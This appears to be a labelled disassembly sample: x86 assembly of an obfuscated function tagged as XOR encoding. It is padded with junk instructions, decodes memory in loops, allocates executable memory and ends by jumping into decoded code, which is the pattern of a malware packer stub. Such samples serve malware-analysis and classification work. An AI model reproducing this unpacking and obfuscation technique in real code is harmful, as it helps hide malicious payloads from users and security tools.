Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe9ef63fc
add ebx, 1
not ecx
sub ebx, ecx
popal
sub ebx, 0x4f25d9c2
inc ecx
mov ecx, 0
mov ebx, esi
or edx, edi
mov edx, 0xd82311a6
not edx
mov eax, ebx
add edi, 0x29b46e24
and edi, edi
mov esi, eax
sub edi, edx
add edx, 0x5f33f854
inc ecx
mov edx, edi
inc edx
cmp ecx, 0x1002b0f
jne 0xa789c9
add edi, 0xb1673a90
not edx
inc edi
sub ebx, ecx
sub ebx, ecx
mov edx, 0xa78796
and esi, ecx
dec ecx
mov edi, 0xa7898a
inc eax
and eax, esi
mov ebx, dword [edx]
add eax, 1
add eax, esi
inc eax
and ebx, 0xff
dec eax
add ecx, 0xa347257b
or esi, esi
xor dword [edi], ebx
mov esi, 0x338b0c0d
not eax
inc edi
inc eax
sub ecx, 0x12128aa9
not eax
inc edx
and ecx, esi
and eax, eax
cmp edi, entry0
jl 0xa78a15
and esi, esi
mov eax, 0x551e984a
add eax, ecx
sub ecx, 0xd6522e8f
sub ebx, 0x931537ba
add edx, edi
and esi, edx
mov ecx, 0xa7898e
add edx, 0x8344d991
mov edx, esi
add edi, ebx
mov ecx, dword [ecx]
or ebx, edi
sub esi, edx
add esi, 0x325b2cdf
mov ecx, dword [ecx]
add edi, 0xf85e979f
dec edi
push ecx
add edi, ebx
add edx, 1
sub ebx, esi
mov ecx, 0xa7898a
mov edi, ebx
sub esi, 0x1c291593
sub edi, 0xa1e7e471
mov ecx, dword [ecx]
sub edx, edi
and edi, edi
mov ecx, dword [ecx]
sub edi, edx
add edi, 0x82d8a02f
sub esi, 0x11673ea1
push 0xa78992
dec esi
add edx, 0xf9661234
call ecx
and edi, edi
add esi, 0xba2d2021
dec esi
pop ecx
mov edi, 0x6810bd1f
or esi, edx
and esi, ebx
push 0xa7899f
sub esi, 0x667692f
dec edi
sub esp, 4
mov dword [esp], eax
add ebx, 0x25ee505f
sub ebx, 0x83bb46
call ecx
mov edi, 0x58469aa2
and edx, edx
sub esp, 4
mov dword [esp], 0x40
add ebx, 0xf129f7fe
not edx
sub esp, 4
mov dword [esp], 0x3000
add ebx, 0x5cf9b0f5
or ebx, ebx
sub esp, 4
mov dword [esp], 0x20000488
sub edi, 0xc981939f
add edi, 1
not ebx
push 0
sub edi, esi
mov esi, edi
add edi, edx
call eax
dec edx
or esi, ebx
not esi
add eax, 0x20000413
sub edx, 0x12466565
sub edx, 0x8e6e9425
mov esi, edx
mov ecx, 0xc724c8cb
sub edi, edx
or edx, ebx
mov dword [eax], ecx
add ebx, 0x8df8aba4
add edx, 1
mov ecx, dword [eax]
mov esi, 0xbb16462d
dec edi
cmp ecx, 0xc724c8cb
je 0xa78b9c
mov ebx, 0
mov eax, dword [ebx]
mov edi, 0xb1c79671
dec ebx
mov edi, edx
sub edi, 1
dec edi
not edx
sub ebx, 0x85ab2d13
not ecx
mov eax, section..text
not ebx
sub ecx, ebx
mov edi, 0xa78795
sub ebx, 1
sub ecx, ebx
mov esi, 0
mov ecx, ebx
mov ebx, 0x6e786311
add ebx, 0x9166b9f1
mov edx, 0xa78796
add ecx, ebx
and ecx, ecx
lea edx, [edx + esi]
sub ecx, ebx
inc ecx
mov edx, dword [edx]
add ecx, 0x159f5202
dec ecx
and edx, 0xff
dec ecx
or ecx, ebx
mov ecx, 0xc3829310
inc esi
add ecx, ebx
or ebx, ebx
cmp esi, 0x1f4
jne 0xa78c15
mov esi, 0
mov ecx, ebx
mov ebx, 0xd3e504c0
mov ebx, 0x9fbf56b2
mov ecx, ebx
not ecx
xor dword [eax], edx
sub ecx, ebx
not ebx
sub ebx, 0xa7ea19b6
add eax, 2
mov ebx, ecx
add ebx, 0xa64a77b
mov ebx, 0xa44d19a6
cmp eax, edi
jl 0xa78bdd
dec ecx
sub ebx, 0xf6469289
or ecx, ecx
not ecx
add ebx, ebx
mov eax, section..text
add esi, 0xa2876985
sub esi, ebx
mov edi, section..text
or ebx, esi
add ebx, esi
mov edx, 0xa78795
sub esi, 0x5473e5eb
and ebx, esi
mov ecx, 0
add esi, 0x1376cd2b
mov ebx, esi
mov cl, byte [edi]
and esi, esi
or esi, ebx
mov byte [eax], cl
dec esi
sub ebx, 1
mov esi, ebx
inc eax
sub ebx, 0x63cae30
sub esi, ebx
add edi, 2
or ebx, esi
not ebx
cmp edi, edx
jle 0xa78c89
mov esi, 0xce48233f
not esi
sub ebx, 1
dec ebx
sub ebx, ecx
push 0x8dc6a0
sub ebx, 0xb2cb09fe
mov ecx, 0x3500c279
ret